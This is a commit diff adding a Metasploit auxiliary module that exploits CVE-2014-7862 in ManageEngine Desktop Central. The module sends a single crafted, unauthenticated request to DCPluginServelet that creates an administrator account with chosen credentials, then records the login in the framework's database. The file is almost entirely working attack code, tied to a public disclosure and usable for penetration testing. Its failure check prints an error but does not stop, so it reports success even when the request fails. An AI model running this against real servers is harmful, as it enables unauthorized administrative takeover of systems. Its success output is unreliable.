Land rapid7#4493, @pedrib's module for ManageEngine Central Desktop create admin

Author: jvazquez-r7

modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb

@@ -0,0 +1,97 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'         => 'ManageEngine Desktop Central Administrator Account Creation',
+      'Description'  => %q{
+        This module exploits an administrator account creation vulnerability in Desktop Central
+        from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
+        several versions of Desktop Central (including MSP) from v7 onwards.
+      },
+      'Author'       =>
+        [
+          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
+        ],
+      'License'      => MSF_LICENSE,
+      'References'   =>
+        [
+          ['CVE', '2014-7862'],
+          ['OSVDB', '116554'],
+          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt'],
+          ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2']
+        ],
+      'DisclosureDate' => 'Dec 31 2014'))
+
+    register_options(
+      [
+        OptPort.new('RPORT', [true, 'The target port', 8020]),
+        OptString.new('TARGETURI', [ true,  'ManageEngine Desktop Central URI', '/']),
+        OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
+        OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
+        OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])
+      ], self.class)
+  end
+
+
+  def run
+    # Generate password hash
+    salt = Time.now.to_i.to_s
+    password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))
+
+    res = send_request_cgi({
+      'uri'      => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"),
+      'method'   =>'GET',
+      'vars_get' => {
+        'action'      => 'addPlugInUser',
+        'role'        => 'DCAdmin',
+        'userName'    => datastore['USERNAME'],
+        'email'       => datastore['EMAIL'],
+        'phNumber'    => Rex::Text.rand_text_numeric(6),
+        'password'    => password_encoded,
+        'salt'        => salt,
+        'createdtime' => salt
+      }
+    })
+
+    # Yes, "sucess" is really mispelt, as is "Servelet" ... !
+    unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
+      print_error("#{peer} - Administrator account creation failed")
+    end
+
+    print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
+    service_data = {
+      address: rhost,
+      port: rport,
+      service_name: (ssl ? 'https' : 'http'),
+      protocol: 'tcp',
+      workspace_id: myworkspace_id
+    }
+    credential_data = {
+      origin_type: :service,
+      module_fullname: self.fullname,
+      private_type: :password,
+      private_data: datastore['PASSWORD'],
+      username: datastore['USERNAME']
+    }
+
+    credential_data.merge!(service_data)
+    credential_core = create_credential(credential_data)
+    login_data = {
+      core: credential_core,
+      access_level: 'Administrator',
+      status: Metasploit::Model::Login::Status::UNTRIED
+    }
+    login_data.merge!(service_data)
+    create_credential_login(login_data)
+  end
+end